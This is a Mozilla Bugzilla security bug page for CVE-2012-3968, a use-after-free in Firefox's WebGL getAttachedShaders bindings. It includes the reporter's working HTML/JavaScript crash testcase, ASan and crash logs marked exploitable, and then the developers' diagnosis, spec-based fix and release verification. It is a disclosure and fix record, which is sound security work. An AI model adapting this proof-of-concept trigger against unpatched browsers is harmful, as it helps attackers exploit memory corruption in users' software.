Closed Bug 775852 (CVE-2012-3968) Opened 12 years ago Closed 12 years ago

use after free, webgl fragment shader deleted by accessor

Categories

(Core :: DOM: Core & HTML, defect)

Product:
Core
Component:
DOM: Core & HTML
Platform:
x86
macOS
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla17
Tracking Flags:
Tracking Status
firefox14 --- unaffected
firefox15 + verified
firefox16 + verified
firefox17 + verified
firefox-esr10 --- unaffected

People

(Reporter: miaubiz, Assigned: bzbarsky)

References

Details

(Keywords: csectype-uaf, regression, sec-critical, Whiteboard: [asan][advisory-tracking+])

Attachments

(9 files, 1 obsolete file)

shaders2.html (May crash you)
(deleted), text/html
Details
asan log osx
(deleted), text/plain
Details
asan log linux
(deleted), text/plain
Details
crashwrangler log, aurora
(deleted), text/plain
Details
crashwrangler log, aurora, another
(deleted), text/plain
Details
crashwrangler log, aurora, another
(deleted), text/plain
Details
crashwrangler log, aurora, another
(deleted), text/plain
Details
And with the test file
(deleted), patch
khuey
: review+
Details | Diff | Splinter Review
Same thing, for aurora and beta
(deleted), patch
akeybl
: approval-mozilla-aurora+
akeybl
: approval-mozilla-beta+
Details | Diff | Splinter Review
Attached file shaders2.html (May crash you) (deleted) —
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 Steps to reproduce: loaded the following file: <html> <head> </head> <body> <canvas id="cx"></canvas> <script> function gc() { function gcRec(n) { if (n < 1) return {} var temp = {i: "ab" + i + (i / 100000)} temp += "foo" gcRec(n-1) } for (var i = 0; i < 1000; i++) { gcRec(10) } } context = cx.getContext("moz-webgl") program = context.createProgram() shader1 = context.createShader(context.VERTEX_SHADER) context.attachShader(program, shader1) Array.prototype.__defineSetter__(0, function() { context.detachShader(program, shader2) context.deleteShader(shader2) shader2 = null gc() }) for (var i = 0; i < 30; ++i) { shader2 = context.createShader(context.FRAGMENT_SHADER) context.attachShader(program, shader2) shaders = context.getAttachedShaders(program) console.dir(shaders[1]) } </script> </body> </html> Actual results: firefox crashed. exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000111e82a60:access_type=exec:access_address=0x0000000111e82a60: exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000108a99700:access_type=exec:access_address=0x0000000108a99700: ==1901== ERROR: AddressSanitizer heap-use-after-free on address 0x00012c1ac080 at pc 0x10519470a bp 0x7fff5fbf6490 sp 0x7fff5fbf6488 READ of size 8 at 0x00012c1ac080 thread T0 #0 0x10519470a in unsigned int CallQueryInterface<nsISupports, nsWrapperCache>(nsISupports*, nsWrapperCache**) (in XUL) + 170 #1 0x106c2cfbf in bool mozilla::dom::WrapObject<mozilla::WebGLShader>(JSContext*, JSObject*, mozilla::WebGLShader*, nsWrapperCache*, nsID const*, JS::Value*) (in XUL) + 175 0x00012c1ac080 is located 0 bytes inside of 144-byte region [0x00012c1ac080,0x00012c1ac110) freed by thread T0 here: #0 0x10000d095 in (anonymous namespace)::mz_free(_malloc_zone_t*, void*) (in firefox) + 85 #1 0x10000cb10 in wrap_free (in firefox) + 80 #2 0x10519e522 in mozilla::WebGLShader::Release() (in XUL) + 290
Attached file asan log osx (deleted) —
Attached file asan log linux (deleted) —
Attached file crashwrangler log, aurora (deleted) —
Attached file crashwrangler log, aurora, another (deleted) —
Attached file crashwrangler log, aurora, another (deleted) —
Attached file crashwrangler log, aurora, another (deleted) —
happens to me on osx and linux. didn't test windows. aurora seems affected, stable does not.
Attachment #644186 - Attachment description: shaders2.html → shaders2.html (May crash you)
Attachment #644186 - Attachment mime type: text/plain → text/html
In a non-asan opt build I didn't crash using Aurora on Mac or Windows, but the stack traces sure do look like something nuked the shader out from under us.
Component: Untriaged → Canvas: WebGL
Product: Firefox → Core
Whiteboard: [asan]
This is a use-after-free during a QI to nsWrapperCache.
I can't reproduce any error here on linux x86-64 in valgrind. Comment 10 strongly suggests an issue relating to the recent port to new DOM bindings: bug 748266. -> CCing Boris
mlaubiz: it would be nice if you could use "experimental-webgl" instead of "moz-webgl" for WebGL context creation. This way, your testcases could run in other browsers and would keep running longer into the future in Firefox.
Any chance of more stack for the READ bit? And for that matter on the Release bit? Any idea which lines of the JS those correspond to?
(In reply to Daniel Veditz [:dveditz] from comment #9) > In a non-asan opt build I didn't crash using Aurora on Mac or Windows, but > the stack traces sure do look like something nuked the shader out from under > us. The testcase explicitly calls webgl.deleteShader which does free its resources. Code should check if (shader->IsDeleted()) to avoid this pitfall. Apparently we have some code that should check that and doesn't. Looking at call stacks...
Boris: this call stack, https://bug775852.bugzilla.mozilla.org/attachment.cgi?id=644187&t=CVYBHPjKYU , shows we're crashing in getAttachedShaders.
So my understanding is that the webgl impl code is fine, it just returns the existing array of attached shaders, however, in the DOM bindings, when we wrap that as a JS object, we do some work that doesn't like the fact that some of the shaders being wrapped is in webgl deleted state.
Could you please explain exactly what Array.prototype.__defineSetter__(0, function() { ... does?
That's the key to the whole thing, thanks. What that does is that when the binding code is creating the array for the return value of getAttachedShaders, setting the first item of the array calls deleteShader on the second shader in the list. I'll poke a little bit at WebIDL to figure out what the right fix is.
Spec for creating JS reflections of sequences says: Call the [[DefineOwnProperty]] internal method on A with property name P, descriptor { [[Writable]]: true, [[Enumerable]]: true, [[Configurable]]: true, [[Value]]: E } and Boolean flag false. In terms of JSAPI that becames a JS_SetElement with a value, null getter and setter, and the flag JSPROP_ENUMERATE. This should avoid invoking anything to do with the prototype, so will fix this bug by simply not running that setter function.
The good news is we haven't shipped this in a final release yet. ;) And by the way, very nice testcase!
Blocks: 748266
Status: UNCONFIRMED → NEW
tracking-firefox15: --- → ?
tracking-firefox16: --- → ?
tracking-firefox17: --- → ?
Component: Canvas: WebGL → DOM
Ever confirmed: true
Assignee: nobody → bzbarsky
I think this test is safe to land with the patch, for what it's worth. But I'm willing to listen to counterarguments.
Attachment #646008 - Flags: review?(khuey)
Attached patch And with the test file (deleted) — — Splinter Review
Attachment #646014 - Flags: review?(khuey)
Attachment #646008 - Attachment is obsolete: true
Attachment #646008 - Flags: review?(khuey)
Whiteboard: [asan] → [need review][asan]
Comment on attachment 646014 [details] [diff] [review] And with the test file Review of attachment 646014 [details] [diff] [review]: ----------------------------------------------------------------- Does JS_DefineProperty not run setters? The docs don't make that clear ... Nice testcase. I think it's safe to check in the test with the fix.
Attachment #646014 - Flags: review?(khuey) → review+
> Does JS_DefineProperty not run setters? Correct. It reconfigures the property to a new getter/setter/value (if the property is configurable), and hence ignores whatever was there before.
http://hg.mozilla.org/integration/mozilla-inbound/rev/69f121d8a62e
status-firefox17: affected → fixed
Flags: in-testsuite+
Whiteboard: [need review][asan] → [asan]
Target Milestone: --- → mozilla17
Attached patch Same thing, for aurora and beta (deleted) — — Splinter Review
Comment on attachment 646463 [details] [diff] [review] Same thing, for aurora and beta [Approval Request Comment] Bug caused by (feature/regressing bug #): Bug 748266 User impact if declined: Calling virtual methods on deleted objects. Probably means exploitability. Testing completed (on m-c, etc.): Passes attached test. Risk to taking this patch (and alternatives if risky): Risk is very low. This switches us to follow the spec more closely and no one should have been relying on the old behavior in any sane way. The alternative is to flip off the new bindings for the WebGL context, which is much more risky. String or UUID changes made by this patch: None.
Attachment #646463 - Flags: approval-mozilla-beta?
Attachment #646463 - Flags: approval-mozilla-aurora?
https://hg.mozilla.org/mozilla-central/rev/69f121d8a62e
Status: NEW → RESOLVED
Closed: 12 years ago
Resolution: --- → FIXED
Comment on attachment 646463 [details] [diff] [review] Same thing, for aurora and beta [Triage Comment] Low risk, sg:crit fix for a FF15 regression. Let's land on branches.
Attachment #646463 - Flags: approval-mozilla-beta?
Attachment #646463 - Flags: approval-mozilla-beta+
Attachment #646463 - Flags: approval-mozilla-aurora?
Attachment #646463 - Flags: approval-mozilla-aurora+
This is causing OS X 10.5 M2 failures on aurora+beta: { 633 ERROR TEST-UNEXPECTED-FAIL | /tests/dom/bindings/test/test_sequence_wrapping.html | an unexpected uncaught JS exception reported through window.onerror - NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMHTMLCanvasElement.getContext] at http://mochi.test:8888/tests/dom/bindings/test/test_sequence_wrapping.html:22 } (Bear in mind trunk doesn't run 10.5 any more, which I guess is why this hasn't been seen there) I haven't backed out, since a fairly narrow scope failure, so happy for you to fix in place or whatever you prefer :-)
Hrm. That's failing because 10.5 has no webgl support. Let me look into how to condition the whole test off in cases when there's no webgl.
(In reply to Boris Zbarsky (:bz) [In and out Aug 1 - 10, out Aug 11-20] from comment #34) > to deal with cases when WebGL is disabled. Thank you for the heads-up and > for not backing it out! Np :-)
And followup merged to m-c by Ryan: https://hg.mozilla.org/mozilla-central/rev/594e26e4d103
Attachment #644209 - Attachment description: Bug Bounty Nomination → Bug Bounty Awarded $3000
Whiteboard: [asan] → [asan][advisory-tracking+]
Alias: CVE-2012-3968
Keywords: verifyme
Group: core-security
Keywords: csec-uaf
I've tested this on: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20100101 Firefox/16.0 beta 4 and also on Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20100101 Firefox/15.0.1 release Both builds didn't crashed using the test case provided. Just to make sure, I've used the same test case from the attachment using the Nightly build from 2012-07-26 and it's crashing, so this is fixed. Setting the flag to Verified on Firefox 15 and 16
status-firefox15: fixed → verified
status-firefox16: fixed → verified
Verified the fix on Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/17.0 Firefox/17.0 - beta1: no crash occurred.
status-firefox17: fixed → verified
Attachment #644209 - Attachment description: Bug Bounty Awarded $3000 → Bug Bounty Awarded $3000 [paid] 8/22/2012
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: